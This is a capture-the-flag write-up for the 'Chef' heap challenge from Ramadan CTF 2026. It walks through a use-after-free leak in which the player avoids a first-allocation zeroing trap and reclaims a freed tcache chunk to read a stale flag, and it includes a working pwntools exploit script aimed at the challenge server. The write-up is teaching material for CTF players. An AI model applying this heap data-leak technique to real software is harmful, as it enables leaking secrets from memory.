Post

Ramadan CTF 2026 - Chef

Ramadan CTF 2026 - Chef

[ Chef ] Writeup

Category: Pwn (Heap)
Difficulty: Easy-Medium
Author: 4n7h4r4x

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • ghidra / gdb for reverse engineering
  • python3 (pwntools) for exploit scripting

Overview

Welcome to the Iftar Kitchen! The chef scribbled a secret recipe (the flag), panicked, and tossed it in the bin right before Iftar. The bin hasn’t been emptied… can you dig it out?

This is a Use-After-Free challenge where the flag is loaded into a heap chunk and freed before we even get to interact. Our job is to reclaim that chunk and read the stale flag data.


Initial Recon

Let’s start with the basics – file and checksec:

file and checksec

All mitigations are on – but none of them matter here. This is a pure heap data leak, no code execution needed.


Reverse Engineering

Opening the binary in Ghidra, we discover an “Iftar Kitchen” menu with 4 options: allocate a pot, free a pot, write to a pot, and taste (read) a pot. Here are the disassembly of all the functions from ghidra :

ghidra f ghidra f ghidra f ghidra f ghidra f ghidra f

Before the menu runs, a function loads the flag into a 64-byte heap chunk at offset 16 (past the tcache metadata area), then frees it. The key observations:

  1. The flag chunk is malloc(64) – it goes into the 0x50 tcache bin.
  2. The flag is written at offset 16 (PAD = 16) inside the chunk.
  3. When glibc frees a tcache chunk, it only overwrites the first 16 bytes (the next pointer and key field). The flag at offset 16 survives the free.

The Trap: First Allocation Zeroing

There’s a sneaky catch:

1
2
3
if (total_allocs == 0)
    memset(meals[idx].buf, 0, sz);
total_allocs++;

The very first allocation gets memset-zeroed. If you naively allocate 64 bytes as your first move, you’ll reclaim the flag chunk from tcache – but the zeroing will destroy the flag data.

Tip: This is a common pattern in heap CTF challenges. Always check if there are any “first use” traps before diving into exploitation.


Exploitation Strategy

The exploit is elegant and only needs 4 actions:

  1. Burn the clean pot – Allocate a different size (e.g., 32 bytes) as our first allocation. This wastes the memset zeroing on an irrelevant chunk from the 0x30 tcache bin, not the 0x50 bin where the flag lives.
  2. Free it – Optional cleanup, just keeps things tidy.
  3. Reclaim the flag chunk – Allocate 64 bytes. Since total_allocs > 0, no zeroing happens. Glibc pops the freed flag chunk from the 0x50 tcache bin with stale data intact.
  4. Taste the pot – Read the chunk. The flag sits at offset 16.
1
2
3
4
5
6
Tcache state before interaction:
  0x50 bin: [flag_chunk] -> NULL
  
  [0x00-0x0F] tcache metadata (overwritten by free)
  [0x10-0x3E] FLAG DATA (INTACT!)
  [0x3F]      NUL terminator

Why size 32 for the burn? malloc(32) lands in the 0x30 tcache bin – completely separate from the 0x50 bin. Any size that doesn’t round to the same bin as 64 would work. Just don’t accidentally consume the flag chunk!!


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.binary = elf = ELF("./chef", checksec=False)

#p = elf.process()
p = remote("tcp.espark.tn" , 1771)

def alloc(p, idx, sz):
    p.sendlineafter(b"chef> ", b"1")
    p.sendlineafter(b"pot [0-3]? ", str(idx).encode())
    p.sendlineafter(b"(16-1024): ", str(sz).encode())

def free_meal(p, idx):
    p.sendlineafter(b"chef> ", b"2")
    p.sendlineafter(b"pot [0-3]? ", str(idx).encode())

def taste(p, idx):
    p.sendlineafter(b"chef> ", b"4")
    p.sendlineafter(b"pot [0-3]? ", str(idx).encode())

# 1. Burn the "clean pot" (first alloc is memset-zeroed)
#    Use a DIFFERENT tcache bin so we don't consume the flag chunk
alloc(p, 0, 32)

# 2. Free it (don't care about this chunk)
free_meal(p, 0)

# 3. Alloc size 64 => hits the 0x50 tcache bin where the flag chunk lives.
#    Since total_allocs > 0 the pot is "dirty" -- old contents survive.
alloc(p, 1, 64)

# 4. Read the dirty pot -- flag sits at offset 16 (first 16 bytes are tcache metadata junk)
taste(p, 1)

p.interactive()

flag


Key Takeaways

  • Tcache reuses freed chunks with stale data. When glibc frees a tcache chunk, only the first 16 bytes are overwritten with metadata. Everything else persists.
  • Always check for defensive traps like first-allocation zeroing before building your exploit.
  • Chunk size matters. You need to request the exact size that maps to the correct tcache bin to reclaim a specific freed chunk.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.